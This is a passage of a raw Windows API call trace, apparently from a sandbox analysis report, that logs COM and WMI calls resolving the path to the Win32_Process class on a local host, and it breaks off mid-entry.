WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e10a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a7c0) returned 0x0 [0057.909] WbemDefPath:IUnknown:Release (This=0x11e10a0) returned 0x0 [0057.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a7c0) returned 0x0 [0057.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.910] WbemDefPath:IUnknown:AddRef (This=0x116a7c0) returned 0x3 [0057.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e10e0) returned 0x0 [0057.910] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e10e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.910] WbemDefPath:IUnknown:Release (This=0x11e10e0) returned 0x3 [0057.910] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.910] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.910] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x2 [0057.910] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x1 [0057.910] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.910] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a7c0) returned 0x0 [0057.910] WbemDefPath:IUnknown:AddRef (This=0x116a7c0) returned 0x3 [0057.910] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x2 [0057.910] WbemDefPath:IWbemPath:SetText (This=0x116a7c0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0057.910] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.910] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a7c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0057.910] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0057.911] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x116a700) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a7c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a7c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a7c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0057.911] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a700, uIndex=0x0, pszName="ROOT") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a7c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a7c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0057.911] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a700, uIndex=0x1, pszName="CIMV2") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetClassName (in: This=0x116a700, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0057.911] WbemDefPath:IWbemPath:SetClassName (This=0x116a700, Name="Win32_Process") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a700, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a700, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0057.911] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0057.911] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0057.912] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0057.912] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0057.912] IUnknown:Release (This=0x111f638) returned 0x1 [0057.913] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11e1340) returned 0x0 [0057.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e1340, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0057.913] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e1340, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x116a880) returned 0x0 [0057.913] WbemDefPath:IUnknown:Release (This=0x11e1340) returned 0x0 [0057.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x116a880) returned 0x0 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0057.914] WbemDefPath:IUnknown:AddRef (This=0x116a880) returned 0x3 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11ae140) returned 0x0 [0057.914] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.914] WbemDefPath:IUnknown:Release (This=0x11ae140) returned 0x3 [0057.914] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0057.914] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0057.914] WbemDefPath:IUnknown:Release (This=0x116a880) returned 0x2 [0057.914] WbemDefPath:IUnknown:Release (This=0x116a880) returned 0x1 [0057.914] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0057.914] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0057.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a880, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x116a880) returned 0x0 [0057.914] WbemDefPath:IUnknown:AddRef (This=0x116a880) returned 0x3 [0057.914] WbemDefPath:IUnknown:Release (This=0x116a880) returned 0x2 [0057.915] WbemDefPath:IWbemPath:SetText (This=0x116a880, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0057.915] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.915] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0057.915] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.915] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.915] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.915] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0058.005] IUnknown:Release (This=0x111f638) returned 0x1 [0058.007] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e7c30) returned 0x0 [0058.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7c30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0058.007] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7c30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a940) returned 0x0 [0058.007] WbemDefPath:IUnknown:Release (This=0x11e7c30) returned 0x0 [0058.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a940) returned 0x0 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0058.008] WbemDefPath:IUnknown:AddRef (This=0x116a940) returned 0x3 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e7c70) returned 0x0 [0058.008] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7c70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0058.008] WbemDefPath:IUnknown:Release (This=0x11e7c70) returned 0x3 [0058.008] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0058.008] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0058.008] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x2 [0058.008] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x1 [0058.008] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0058.008] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0058.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a940) returned 0x0 [0058.009] WbemDefPath:IUnknown:AddRef (This=0x116a940) returned 0x3 [0058.009] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x2 [0058.009] WbemDefPath:IWbemPath:SetText (This=0x116a940, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a880, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a940, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetText (in: This=0x116a940, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetText (in: This=0x116a940, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0058.009] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x116a880) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a940, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0058.009] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a880, uIndex=0x0, pszName="root") returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0058.009] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a880, uIndex=0x1, pszName="cimv2") returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetServer (in: This=0x116a940, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetServer (in: This=0x116a940, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetServer (in: This=0x116a880, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetServer (in: This=0x116a880, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a880, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0058.009] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a880, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a880, lFlags=4, 